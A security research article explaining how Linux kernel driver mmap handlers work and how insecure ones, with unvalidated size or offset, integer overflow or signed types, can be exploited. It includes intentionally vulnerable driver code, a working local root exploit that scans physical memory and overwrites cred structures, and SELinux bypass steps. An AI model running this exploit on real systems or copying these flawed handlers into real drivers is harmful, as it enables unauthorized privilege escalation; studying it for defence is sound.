Kernel Driver mmap Handler Exploitation

Contents

1. Introduction to Kernel Drivers

During implementation of Linux kernel drivers, the developer might register a device driver file which will usually be registered in the /dev/ directory. This file may support all of the regular functions of a normal file like, opening, reading, writing, mmaping, closing among others. Operations supported by the device driver file are described in the 'file_operations' structure which contains a number of function pointers, one for each operation. The definition of that structure for kernel 4.9 can be found below.

```
struct file_operations {
	struct module *owner;
	loff_t(*llseek) (struct file *, loff_t, int);
	ssize_t(*read) (struct file *, char __user *, size_t, loff_t *);
	ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *);
	ssize_t(*read_iter) (struct kiocb *, struct iov_iter *);
	ssize_t(*write_iter) (struct kiocb *, struct iov_iter *);
	int(*iterate) (struct file *, struct dir_context *);
	int(*iterate_shared) (struct file *, struct dir_context *);
	unsigned int(*poll) (struct file *, struct poll_table_struct *);
	long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
	long(*compat_ioctl) (struct file *, unsigned int, unsigned long);
	int(*mmap) (struct file *, struct vm_area_struct *);
	int(*open) (struct inode *, struct file *);
	int(*flush) (struct file *, fl_owner_t id);
	int(*release) (struct inode *, struct file *);
	int(*fsync) (struct file *, loff_t, loff_t, int datasync);
	int(*fasync) (int, struct file *, int);
	int(*lock) (struct file *, int, struct file_lock *);
	ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *,
int);
	unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned
long, unsigned long, unsigned long);
	int(*check_flags)(int);
	int(*flock) (struct file *, int, struct file_lock *);
	ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *,
size_t, unsigned int);
	ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *,
size_t, unsigned int);
	int(*setlease)(struct file *, long, struct file_lock **, void **);
	long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
	void(*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
	unsigned(*mmap_capabilities)(struct file *);
#endif
	ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t,
size_t, unsigned int);
	int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);
	ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *,     u64);
};
```

As shown above, there are a large number of file operations which can be implemented, but for the purpose of this article we will focus solely on the implementation of the mmap handler.

An example setup of the 'file_operations' structure and associated functions can be found below ('/fs/proc/softirqs.c'):

```
static int show_softirqs(struct seq_file *p, void *v)
{
	int i, j;

	seq_puts(p, "                    ");
	for_each_possible_cpu(i)
		seq_printf(p, "CPU%-8d", i);
	seq_putc(p, '\n');

	for (i = 0; i < NR_SOFTIRQS; i++) {
		seq_printf(p, "%12s:", softirq_to_name[i]);
		for_each_possible_cpu(j)
			seq_printf(p, " %10u", kstat_softirqs_cpu(i, j));
		seq_putc(p, '\n');
	}
	return 0;
}

static int softirqs_open(struct inode *inode, struct file *file)
{
	return single_open(file, show_softirqs, NULL);
}

static const struct file_operations proc_softirqs_operations = {
	.open = softirqs_open,
	.read = seq_read,
	.llseek = seq_lseek,
	.release = single_release,
};

static int __init proc_softirqs_init(void)
{
	proc_create("softirqs", 0, NULL, &proc_softirqs_operations);
	return 0;
}
```

In the code above it can be observed that the 'proc_softirqs_operations' structure will allow calls to 'open', 'read', 'llseek' and 'close' functions to be performed on it. When an application attempts to open a 'softirqs' file then the 'open' syscall will be called which points to the 'softirqs_open' function which will then be executed.

2. Kernel mmap Handler

2.1 Simple mmap Handler

As mentioned previously, kernel drivers may implement their own mmap handler. The main purpose of an mmap handler is to speed up data exchange between userland programs and kernel space. The kernel might share a kernel buffer or some physical range of memory directly with the user address space. The user space process may modify this memory directly without the need for making additional syscalls.

A simple (and insecure) example implementation of an mmap handler can be found below:

```
static struct file_operations fops =
{
      .open = dev_open,
      .mmap = simple_mmap,
      .release = dev_release,
};

int size = 0x10000;

static int dev_open(struct inode *inodep, struct file *filep)
{
      printk(KERN_INFO "MWR: Device has been opened\n");

      filep->private_data = kzalloc(size, GFP_KERNEL);
      if (filep->private_data == NULL)
            return -1;
      return 0;
}

static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: Device mmap\n");

      if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
                        vma->vm_end - vma->vm_start, vma->vm_page_prot )
      )
      {
            printk(KERN_INFO "MWR: Device mmap failed\n");
            return -EAGAIN;
      }
      printk(KERN_INFO "MWR: Device mmap OK\n");
      return 0;
}
```

During the opening of the driver listed above, the 'dev_open' function will be called which will simply allocate a 0x10000 bytes buffer and store a pointer into it in the 'private_data' field. After that if the process calls mmap on that file descriptor then the 'simple_mmap' function will be used to handle the mmap call. This function will simply call the 'remap_pfn_range' function which will create a new mapping in the process address space which will link the 'private_data' buffer into 'vma->vm_start' address with a size defined as 'vma->vm_end' - 'vma->vm_start'.

An example user space program which requests mmap on that file can be found below:

```
int main(int argc, char * const * argv)
{
	int fd = open("/dev/MWR_DEVICE", O_RDWR);
	if (fd < 0)
	{
		printf("[-] Open failed!\n");
		return -1;
	}

	unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
	if (addr == MAP_FAILED)
	{
		perror("Failed to mmap: ");
		close(fd);
		return -1;
	}
	printf("mmap OK addr: %lx\n", addr);
	close(fd);

	return 0;
}
```

The code above calls mmap on the '/dev/MWR_DEVICE' driver file with size equal to 0x1000, file offset set to 0x1000 and a destination address set to '0x42424000'. A successful mapping result can be seen below:

```
# cat /proc/23058/maps
42424000-42425000 rw-s 00001000 00:06 68639                              /dev/MWR_DEVICE
```

2.2 Empty mmap Handler

Up until now we have seen the simplest implementation of an mmap operation, but what will really happen if our mmap handler is just an empty function?

Let's consider the following implementation:

```
static struct file_operations fops =
{
	.open = dev_open,
	.mmap = empty_mmap,
	.release = dev_release,
```

```
};

static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: empty_mmap\n");
      return 0;
}
```

As we can see, only the logging function is called; so that we can observe that the handler was called. When the 'empty_mmap' function is called, it would be fair to assume that nothing will happen and mmap will fail since there is no call to the 'remap_pfn_range' function or anything similar. However, this is not true. Let's run our user space code and check what exactly happened:

```
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
```

In the 'dmesg' logs we can see that our empty handler was successfully called as we expected:

```
[ 1119.393560] MWR: Device has been opened 1 time(s)
[ 1119.393574] MWR: empty_mmap
```

Looking at the memory mapping shows some unexpected behaviour:

```
# cat /proc/2386/maps
42424000-42426000 rw-s 00001000 00:06 22305
```

We have not called 'remap_pfn_range' function and yet the mapping was created as it was in the previous case. The only one difference is that this mapping is 'invalid' because we have not mapped any physical memory to that address range. Depending on the kernel in use, such an implementation of mmap will cause either the process to crash or the whole kernel to crash were we to try to access memory in that range.

Let's try to access some memory in that range using following code:

```
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
```

And as expected the process crashes:

```
./mwr_client
Bus error
```

However it has been observed that on some 3.10 arm/arm64 Android kernels similar code leads to a kernel panic.

In summary, as a developer you should not assume that an empty handler will behave predictably, always use the proper return code to handle a given situation in kernel.

2.3 An mmap Handler with vm_operations_struct

During an mmap operation there is the possibility to assign handlers for multiple other operations (like handling unmapped memory, handling page permission changes, etc.) on the allocated memory region using the 'vm_operations_struct' structure.

The definition of the 'vm_operations_struct' structure ('/include/linux/mm.h') for kernel 4.9 can be seen below.

```
struct vm_operations_struct {
	void (*open) (struct vm_area_struct * area);
	void (*close) (struct vm_area_struct * area);
	int (*mremap) (struct vm_area_struct * area);
	int (*fault) (struct vm_area_struct *vma, struct vm_fault *vmf);
	int (*pmd_fault) (struct vm_area_struct *, unsigned long address, pmd_t *,
unsigned int flags);
	void (*map_pages) (struct fault_env *fe, pgoff_t start_pgoff, pgoff_t
end_pgoff);
	int (*page_mkwrite) (struct vm_area_struct *vma, struct vm_fault *vmf);
	int (*pfn_mkwrite) (struct vm_area_struct *vma, struct vm_fault *vmf);
	int (*access) (struct vm_area_struct *vma, unsigned long addr, void *buf, int
len, int write);
	const char *(*name) (struct vm_area_struct *vma);
#ifdef CONFIG_NUMA
	int (*set_policy) (struct vm_area_struct *vma, struct mempolicy *new);
	struct mempolicy *(*get_policy) (struct vm_area_struct *vma, unsigned long
addr);
#endif
	struct page *(*find_special_page) (struct vm_area_struct *vma, unsigned long
addr);
};
```

As shown above there are a number of function pointers for which it is possible to implement a custom handler. Examples of this are well described in the Linux Device Drivers book.

A popular behaviour which is commonly observed is that developers implement a 'fault' handler when implementing memory allocations. For example, let's consider following:

```
static struct file_operations fops =
{
	.open = dev_open,
	.mmap = simple_vma_ops_mmap,
	.release = dev_release,
};

static struct vm_operations_struct simple_remap_vm_ops = {
	.open = simple_vma_open,
	.close = simple_vma_close,
	.fault = simple_vma_fault,
};
```

```
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
      vma->vm_private_data = filp->private_data;
      vma->vm_ops = &simple_remap_vm_ops;
      simple_vma_open(vma);

      printk(KERN_INFO "MWR: Device mmap OK\n");
      return 0;
}

void simple_vma_open(struct vm_area_struct *vma)
{
      printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n",
            vma->vm_start, vma->vm_pgoff << PAGE_SHIFT);
}

void simple_vma_close(struct vm_area_struct *vma)
{
      printk(KERN_NOTICE "MWR: Simple VMA close.\n");
}

int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
      struct page *page = NULL;
      unsigned long offset;
      printk(KERN_NOTICE "MWR: simple_vma_fault\n");
      offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma-
>vm_pgoff << PAGE_SHIFT));
      if (offset > PAGE_SIZE << 4)
            goto nopage_out;
      page = virt_to_page(vma->vm_private_data + offset);
      vmf->page = page;
      get_page(page);
nopage_out:
      return 0;
```

In the code above we can see that the ‘simple_vma_ops_mmap’ function is used to handle mmap calls. This does nothing except assign a ‘simple_remap_vm_ops’ structure as a virtual memory operations handler.

Let’s consider the following code to be run on the driver with code presented above:

```
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
```

This gives the following output in ‘dmesg’:

```
[268819.067085] MWR: Device has been opened 2 time(s)
[268819.067121] MWR: Device simple_vma_ops_mmap
[268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000
[268819.067125] MWR: Device mmap OK
```

And the following mapping in process address space:

```
42424000-42425000 rw-s 00001000 00:06 140215                             /dev/MWR_DEVICE
```

As we can see, the ‘simple_vma_ops_mmap’ function was called and a memory mapping was created as requested. In this example the ‘simple_vma_fault’ function was not called. The question is, we have a mapping in an address range ‘0x42424000’-‘0x42425000’ but where does it point? We have not defined where this address range points in physical memory, so if the process tries to access any part of ‘0x42424000’-‘0x42425000’ then the ‘simple_vma_fault’ fault handler will be run.

So let’s consider the following user space code:

```
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
```

The only change in the code above is that we access the mapped memory with ‘printf’ function. Since the memory location is invalid our ‘simple_vma_fault’ handler is called as shown in the ‘dmesg’ output below.

```
[285305.468520] MWR: Device has been opened 3 time(s)
[285305.468537] MWR: Device simple_vma_ops_mmap
[285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000
[285305.468539] MWR: Device mmap OK
[285305.468546] MWR: simple_vma_fault
```

Inside the ‘simple_vma_fault’ function we can observe that the ‘offset’ variable is calculated using ‘vmf->virtual_address’ which points to an address which was not mapped during memory access. In our case this was the address of ‘addr[0]’. The next page structure is obtained using the ‘virt_to_page’ macro which results in a newly obtained page being assigned to the ‘vmf->page’ variable. This assignment meant that when the fault handler returns, ‘addr[0]’ will point to some physical memory calculated by the ‘simple_vma_fault’ function. This memory can be accessed by the user space program without any additional cost. If the program tries to access ‘addr[513]’ (assuming that sizeof(unsigned long) is equal eight) then the fault handler will be called again since ‘addr[0]’ and ‘addr[513]’ land on two different memory pages and only one page of memory has been mapped.

Therefore the following code:

```
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
printf("addr[513]: %x\n", addr[513])
```

Will generate following kernel logs:

```
[286873.855849] MWR: Device has been opened 4 time(s)
[286873.855976] MWR: Device simple_vma_ops_mmap
[286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000
[286873.855980] MWR: Device mmap OK
[286873.856046] MWR: simple_vma_fault
[286873.856110] MWR: simple_vma_fault
```

3. Typical mmap Handler Issues

3.1 Lack of User Input Validation

Let's consider the previous mmap handler example:

```
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: Device mmap\n");

      if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
                        vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
      {
            printk(KERN_INFO "MWR: Device mmap failed\n");
            return -EAGAIN;
      }
      printk(KERN_INFO "MWR: Device mmap OK\n");
      return 0;
}
```

The code presented above represents a common approach to implementing an 'mmap' handler, similar code can be found in the Linux Device Drivers book. The main issue with this example code is that the 'vma->vm_end' and 'vma->vm_start' values are never validated, instead, they are directly passed to 'remap_pfn_range' as size parameters. This means that a malicious process may call 'mmap' with an unlimited size. In our case this would allow a user space process to mmap all of the physical memory address space situated after the 'filp->private_data' buffer. This would include all of kernel memory. What this means is that a malicious process will be able to read/write over kernel memory from user space.

Another popular use case is shown below:

```
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: Device mmap\n");

      if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff,
                        vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
      {
            printk(KERN_INFO "MWR: Device mmap failed\n");
            return -EAGAIN;
      }
      printk(KERN_INFO "MWR: Device mmap OK\n");
      return 0;
}
```

In the code above we can see that user controlled offset 'vma->vm_pgoff' is directly passed to the 'remap_pfn_range' function as a physical address. This would result in a malicious process being able to pass an arbitrary physical address to 'mmap' which would allow for access to all of kernel memory from

user space. This case occurs frequently with slight modifications for example where the offset is masked or computed using another value.

3.2 Integer Overflows

It is often observed that developers will try to validate the size and offset of a mapping using complex calculations, bitmasks, bit shifting, sum of size and offset, etc. Unfortunately, this often leads to the creation of complex and unusual calculations and validation procedures which can be hard to read. After a small amount of fuzzing of the size and offset values, it is possible to find values which bypass these validation checks.

Let's consider the following code:

```
static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma)
{
      unsigned int vma_size = vma->vm_end - vma->vm_start;
      unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
      printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);

      if (vma_size + offset > 0x10000)
      {
            printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
            return -EAGAIN;
      }

      if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma_size, vma->vm_page_prot))
      {
            printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n");
            return -EAGAIN;
      }
      printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n");
      return 0;
}
```

The code above shows an example of an integer overflow vulnerability which occurs when a process invokes the 'mmap2' syscall with a size equal to 0xfffa000 and an offset of 0xf0006. An integer overflow will occur because the offset would be shifted in the mmap handler to 0xf0006000. The sum of 0xfffa000 and 0xf0006000 is equal to 0x100000000. Since the maximum value of an unsigned integer is 0xffffffff, the most significant bit would be stripped and the final value of the sum would be just 0x0. The result would be that the mmap syscall will succeed with a size 0xfffa000 and the process will have access to the memory outside of the intended buffer. As mentioned previously, there are two separate syscalls 'mmap' and 'mmap2'. The 'mmap2' syscall enables applications that use a 32 bit 'off_t' type to map large files (up to 2^44 bytes) by supporting huge values used as an offset parameter. The interesting thing is that the 'mmap2' syscall is normally not available within 64 bit kernel syscall tables. However, if the operating system has support for both 32 and 64 bit processes, it will usually be

possible to use those syscalls within 32bit process. This is because 32 bit and 64 bit processes use separate syscall tables.

3.3 Signed Integer types

Another common issue is the use of a signed type for size variables. Let's consider following code:

```
static int signed_integer_mmap(struct file *filp, struct vm_area_struct *vma)
{
	int vma_size = vma->vm_end - vma->vm_start;
	int offset = vma->vm_pgoff << PAGE_SHIFT;

	printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);

	if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset
> 0x10000))
	{
		printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
		return -EAGAIN;
	}

	if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start,
vma->vm_page_prot))
	{
		printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n");
		return -EAGAIN;
	}
	printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n");
	return 0;
}
```

In the code above, user controlled data is stored in 'vma_size' and 'offset' which are both declared as signed integers. Size and offset validation is then performed by the following line of code:

```
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset >
0x10000))
```

Unfortunately, because 'vma_size' was declared as a signed integer, an attacker may use negative value such as 0xf0000000 to bypass this validation. This would cause 0xf0000000 bytes to be mapped into the user land address space.

4. Exploiting mmap Handlers

4.1 Theory

So far we understand how to implement an mmap handler, where we can find issues, and methods which can be used to gain access to arbitrary memory locations (usually kernel memory). The question now is; what we can do with this knowledge in order to gain root privileges? We consider two basic scenarios:

i. When we have knowledge about the physical memory layout (usually through access to '/proc/iomem')

ii. The black box case – we just have a large, oversized mmap

When we have knowledge about the physical memory layout then we can easily check what memory region we have mapped and we can try to match it with virtual addresses. This allows us to perform precise overwrites of creds/function pointers, etc.

The more interesting yet complicated scenario is the black box case. This will, however, work on multiple kernels and architectures and once an exploit is written it may be reliable for many different drivers. To exploit this case we will need to find some pattern in memory which can tell us directly whether we have found something useful. When we start to consider what we can search, then we quickly come to the realisation that: "there has to be some obvious pattern we can search for, at least 16 bytes, since this is the whole memory we should be able to find almost anything there". If we take a look at the credential structure ('struct cred') then we find a lot of interesting data:

```
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits; /* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
```

```
#ifdef CONFIG_KEYS
      unsigned char     jit_keyring;      /* default keyring to attach requested
                                           * keys to */
      struct key __rcu *session_keyring; /* keyring inherited over fork */
      struct key  *process_keyring; /* keyring private to this process */
      struct key  *thread_keyring; /* keyring private to this thread */
      struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
      void        *security;  /* subjective LSM security */
#endif
      struct user_struct *user;     /* real user ID subscription */
      struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative
to. */
      struct group_info *group_info;      /* supplementary groups for euid/fsgid */
      struct rcu_head   rcu;        /* RCU deletion hook */
};
```

The purpose of the ‘cred’ structure is to hold our thread’s credentials. This means that we would know most of the values in this structure, as we can simply read them from ‘/proc/<pid>/status’ or obtain them using syscalls.

If we look at the structure definition then we observe that there are eight contiguous integer variables which are known to us (uid, gid, suid, sgid, etc.). These are followed by a four byte ‘securebits’ variable which is followed by four or five (the actual number depends on the kernel version) known long long integers (cap_inheritable, etc.).

Our plan to obtain root permissions is to:

1. Obtain our credentials
2. Scan memory to find a pattern of 8 integers which matches our credentials followed by 4-5 long long values with our capabilities. There should be a four byte space between uids/gids and the capabilities
3. Replace uids/gids with a value of 0
4. Call getuid() and check if we are the root user
5. If yes, replace capabilities with the value 0xffffffffffffffff
6. If not, restore the old values of the uids/gids, and continue search; repeat from step 2
7. We are root, break the loop.

There are some cases where this plan will not work, for example:

- If the kernel is hardened and some component is watching for privesc (ex. Knox on some Samsung mobile devices).
- If we already have a uid of 0. In this case it is likely that we will damage something in kernel as kernel contains a large number of 0s in its memory and our pattern will be useless.
- If some security module is enabled (SELinux, Smack, etc.) we may obtain a partial privesc, but the security modules will need to be bypassed in further steps.

In the case of security modules, the ‘security’ field of the ‘cred’ structure holds a pointer to the structure defined by the particular security module in use by the kernel. For example, for SELinux it would point to an area of memory containing the following structure:

```
struct task_security_struct {
      u32 osid;         /* SID prior to last execve */
      u32 sid;          /* current SID */
      u32 exec_sid;           /* exec SID */
      u32 create_sid;   /* fscreate SID */
      u32 keycreate_sid;      /* keycreate SID */
      u32 sockcreate_sid;     /* fscreate SID */
};
```

We can replace the pointer in the ‘security’ field with an address over which we have control (if the given architecture (like arm, aarch64) allows for access to user space mappings directly from kernel then we can provide user space mapping) and brute force the sid value. This process should be relatively fast since most privileged labels like the kernel or init should have a value which lies between 0 and 512.

To bypass SELinux we should attempt following steps:

- Prepare a new SELinux policy which sets our current SELinux context to permissive
- Pin fake security structure which contains all zeros
- Attempt to reload SELinux policy
- Restore the old security pointer
- Attempt to perform a malicious action which was previously prohibited by SELinux
- If it works, we have bypassed SELinux
- If not, increment sid values by one in our fake security structure, and try again

4.2 Basic mmap Handler Exploitation

In this part of the article we will attempt to develop a full root exploit for the following code:

```
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
      printk(KERN_INFO "MWR: Device mmap\n");
      printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma-
>vm_end - vma->vm_start, vma->vm_pgoff);

      if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma-
>vm_start, vma->vm_page_prot))
      {
            printk(KERN_INFO "MWR: Device mmap failed\n");
            return -EAGAIN;
      }
      printk(KERN_INFO "MWR: Device mmap OK\n");
      return 0;
}
```

The presented code has two vulnerabilities:

- 'vma->vm_pgoff' is used as a physical address in 'remap_pfn_range' without validation.
- The size of the mapping is passed to 'remap_pfn_range' without validation.

In the first step in our exploit development, let's create code which will trigger the vulnerability and use it to create a huge memory mapping:

```
int main(int argc, char * const * argv)
{
	printf("[+] PID: %d\n", getpid());
	int fd = open("/dev/MWR_DEVICE", O_RDWR);
	if (fd < 0)
	{
		printf("[-] Open failed!\n");
		return -1;
	}
	printf("[+] Open OK fd: %d\n", fd);

	unsigned long size = 0xf0000000;
	unsigned long mmapStart = 0x42424000;
	unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ
| PROT_WRITE, MAP_SHARED, fd, 0x0);
	if (addr == MAP_FAILED)
	{
		perror("Failed to mmap: ");
		close(fd);
		return -1;
	}

	printf("[+] mmap OK addr: %lx\n", addr);
	int stop = getchar();
	return 0;
}
```

The code above will open the vulnerable driver and call 'mmap' with 0xf0000000 bytes as the size and an offset equal to 0. Below we can see that we have logs which show that the call to mmap has succeeded:

```
$ ./mwr_client
[+] PID: 3855
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
```

And confirmation of that we can observe in the memory mappings:

```
# cat /proc/3855/maps
42424000-132424000 rw-s 00000000 00:06 30941                              /dev/MWR_DEVICE
```

Also, in dmesg we can see that mmap has succeeded:

```
[18877.692697] MWR: Device has been opened 2 time(s)
[18877.692710] MWR: Device mmap
[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
[18877.696716] MWR: Device mmap OK
```

If we check the physical address space then we can see that with this mapping we have access to everything marked in red below. This is because we passed 0 as the physical address location with a size 0xf0000000 bytes:

```
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM
```

We might choose to enlarge the size of the mapping so that it covers whole of the physical memory address space. However, we will do not do that here so that we can show some of the limitations we may face when we are unable to access the whole of system RAM.

The next step is to implement the search for our ‘cred’ structures in memory. We will do this as explained in section 4.1 Theory. We will modify the process slightly as we only need to search for eight integers with the value of our uid. A simple implementation might look like the following:

```
int main(int argc, char * const * argv)
{
...
	printf("[+] mmap OK addr: %lx\n", addr);

	unsigned int uid = getuid();
	printf("[+] UID: %d\n", uid);

	unsigned int credIt = 0;
	unsigned int credNum = 0;
	while (((unsigned long)addr) < (mmapStart + size - 0x40))
	{
		credIt = 0;
		if (
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid &&
			addr[credIt++] == uid
			)
		{
			credNum++;
			printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);
		}

		addr++;
	}
	puts("[+] Scanning loop END");
	fflush(stdout);

	int stop = getchar();
	return 0;
}
```

In the exploit output, we can see that we have found a couple of potential ‘cred’ structures:

```
$ ./mwr_client
[+] PID: 5241
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
```

```
[+] Found cred structure! ptr: 0x11a86e184, credNum: 1
[+] Found cred structure! ptr: 0x11a86e244, credNum: 2
…
[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
[+] Found cred structure! ptr: 0x11b782604, credNum: 8
[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9
```

The next step is to find which of these 'cred' structures belong to our process and escalate its uid/gid:

```
int main(int argc, char * const * argv)
{
...
      printf("[+] mmap OK addr: %lx\n", addr);

      unsigned int uid = getuid();
      printf("[+] UID: %d\n", uid);
      ;
      unsigned int credIt = 0;
      unsigned int credNum = 0;
      while (((unsigned long)addr) < (mmapStart + size - 0x40))
      {
            credIt = 0;
            if (
...
                  )
            {
                  credNum++;
                  printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);

                  credIt = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;
                  addr[credIt++] = 0;

                  if (getuid() == 0)
                  {
                        puts("[+] GOT ROOT!");
                        break;
                  }
                  else
                  {
                        credIt = 0;
                        addr[credIt++] = uid;
```

```
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                        addr[credIt++] = uid;
                  }
            }

            addr++;
      }
      puts("[+] Scanning loop END");
      fflush(stdout);

      int stop = getchar();
      return 0;
}
```

And after we launch the exploit we can see the following:

```
i$ ./mwr_client
[+] PID: 5286
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a973f04, credNum: 1
…
[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
[+] GOT ROOT!
[+] Scanning loop END
```

We can see that the “GOT ROOT” string appears in the output, so let’s check if our exploit really worked:

```
cat /proc/5286/status
Name: mwr_client
Umask:      0022
State:      S (sleeping)
Tgid: 5286
Ngid: 0
Pid:  5286
PPid: 2939
TracerPid:  0
Uid:  0     0     0     0
Gid:  0     0     0     0
FDSize:     256
Groups:     1000
…
CapInh:     0000000000000000
```

```
CapPrm:     0000000000000000
CapEff:     0000000000000000
CapBnd:     0000003fffffffff
CapAmb:     0000000000000000
…
```

